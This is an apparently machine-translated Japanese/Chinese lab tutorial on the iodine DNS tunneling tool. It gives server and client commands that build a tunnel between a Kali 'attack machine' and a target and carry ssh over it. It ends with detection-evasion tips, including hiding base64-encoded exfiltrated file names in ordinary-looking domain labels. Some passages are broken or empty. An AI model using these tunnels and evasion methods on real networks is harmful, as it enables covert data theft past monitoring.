コンテンツ
序文
この記事では、DNSトンネリングの古典的なツールであるヨウ素について説明します。
github:https ://github.com/yarrick/iodine
I.概要
1はじめに
継続的に更新され、C言語で書かれ、公式:http ://code.kryo.se/iodine/
DNSを介したIPv4、つまりDNSトンネルを介したIPv4パケットの転送により、エンコードと要求の種類の選択肢が広がります。
- クライアントがWin10の場合、環境がセットアップされた後、接続は成功しますが、pingは実行できません(つまり、使用できません!)
- 直接接続とリレーモードをサポート
- 一般的なDNS解決タイプ(A、CNAME、MX、TXTなど)をサポートします。
2.原則
DNSの原則を参照してください:DNSとドメイン名の解決を理解するための1つの記事
TAP仮想ネットワークカードを介して、サーバー側でローカルエリアネットワークが確立されます。クライアント側では、TAPを介して仮想ネットワークカードが確立されます。2つはDNSトンネルを介して接続され、同じローカルエリアネットワークにあります(通信pingコマンドを使用して実行できます)。クライアントとサーバーの間に接続が確立された後、「dns0」の仮想ネットワークカードがクライアントに追加されます。
DNSトンネルプロセス:ヨウ素クライアント->DNSサービスプロバイダー->ヨウ素サーバー
3.使用法
(1)サーバー
iodined -f -c -P <password> 10.0.0.1 vpn.abc.com -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
这里的10.0.0.1是自定义的局域网虚拟IP地址。
(2)クライアント
Linux環境:
iodine -f -P <password> vpn.abc.ltd -M 200
-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
-M:指定上行主机的大小。
-m:调节最大下行分片的大小。
-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O:指定数据编码规范。
-L:指定是否开启懒惰模式,默认开启。
-I:指定两个请求之间的时间间隔。
Windows環境:
- WindowsクライアントはコンパイルされたWindowsバージョンを直接使用でき、TAPネットワークカードドライバーを同時にインストールする必要があります。
- OpenVPNをダウンロードして、インストール時にTAP-Win32ドライバーのみを選択することもできます。インストール後、サーバーに追加の「TAP-WndowsADApterV9」ネットワークカードがあります。
- クライアントプログラムiodineを実行し
iodine -f -P <password> vpn.abc.com
ます。「接続のセットアップが完了しました。データを送信しています」というプロンプトが表示された場合は、DNSトンネルが確立されていることを意味します。
2.練習
1.テストシナリオ
(1)攻撃機
Kali2021 192.168.10.128
(2)DNSサーバー
Windows Server 2008:192.168.10.200
静的IPを設定します。https://blog.csdn.net/pockeyfan/article/details/42063683を参照してください
新しいAレコードを作成し、サーバーkaliをポイントします
。設定したAレコードのドメイン名をポイントする新しいデリゲート(つまりNSレコード)を作成します。Windows
サーバー自体をポイントする別のAレコードを作成します。
(3)対象マシン
Ubuntu 18.04 192.168.10.129
シミュレートされたDNSサーバーは実際の権限のあるサーバーであるため、つまり、ターゲットマシンはDNSをDNSサーバーに解決できる必要があります。したがって、ターゲットマシンのDNS解決を変更する必要があります。
nslookupの検出
2.トンネルを確立します
(1)サーバー
トンネル設置前の状態
トンネル設置
iodined -f -c -P 123456 10.0.0.1 dnstunnel.test.com -DD
このとき、追加のネットワークカードdns0があり、IPは設定した10.0.0.1です。
(2)クライアント
トンネル設置前の状態
トンネル設置
iodine -f -r -P 123456 dnstunnel.test.com
追加のネットワークカードdns0もあり、IPは10.0.0.2です。
(3)ssh
この時点で、トンネルは正常に確立され、ハートビートパケットがサーバーに出力されます。sshトンネルを正常
に確立して
、トラフィックをプロキシできるようにしてください
。この時点で、出力されるパケットは次のとおりです。
3.パッケージを見てください
トンネルを確立すると、ドメイン名が見苦しくなり
ます。仮想ネットワークカードのTCPハンドシェイク
ハートビートパケットが行き来し、ドメイン名が異常すぎます。仮想ネットワークカードでsshを実行すると、
仮想
ネットワーク
カードで
3.探索する
1.ソースコードと分析
すべて
2.検出とバイパス
(1)仮想ネットワークカード
このツールは、TCPを処理するための仮想ネットワークカードを作成します
避けられない
(2)レコードタイプ
このツールは一般的なレコードタイプをサポートできるため、これは大きな問題ではありません。上記の実験では指定されていませんが、Aとして指定できれば大きな問題ではありません。
(3)異常なDNSパケットの数
トンネルを使用する場合、同じDNSサーバーから大量のDNSパケットが送信されます
バイパス方法:途中に間隔を追加しますが、これは非常に遅い速度になります
(4)異常なドメイン名
トンネルとハートビートパケットを確立するためのドメイン名が異常であり、トンネルを使用する場合のドメイン名はさらに長いbase64文字列です。
バイパス方法:ハートビートパケットに通常のドメイン名を使用し、トンネルを使用するときにbase64を分割しますが、データパケットの数が大幅に増加します
比如现在要把一个文件名 finalexamanswer.doc 传出去
base64 一下 -> ZmluYWxleGFtYW5zd2VyLmRvYw
然后编码常用域名,变成 Zm -> zone.music.domain,lu -> login.user.domain,YW``yun.web.domain …
(5)ハートビートパッケージ
ハートビートパケットの間隔は比較的長い(3秒)が、数が問題である
バイパス方法:間隔はランダムにすることができ、トンネルを再確立するために番号をUDPソケットに変更することができます
エピローグ
icmptunnelと同様に、トンネルを実装するための仮想ネットワークカードを構築します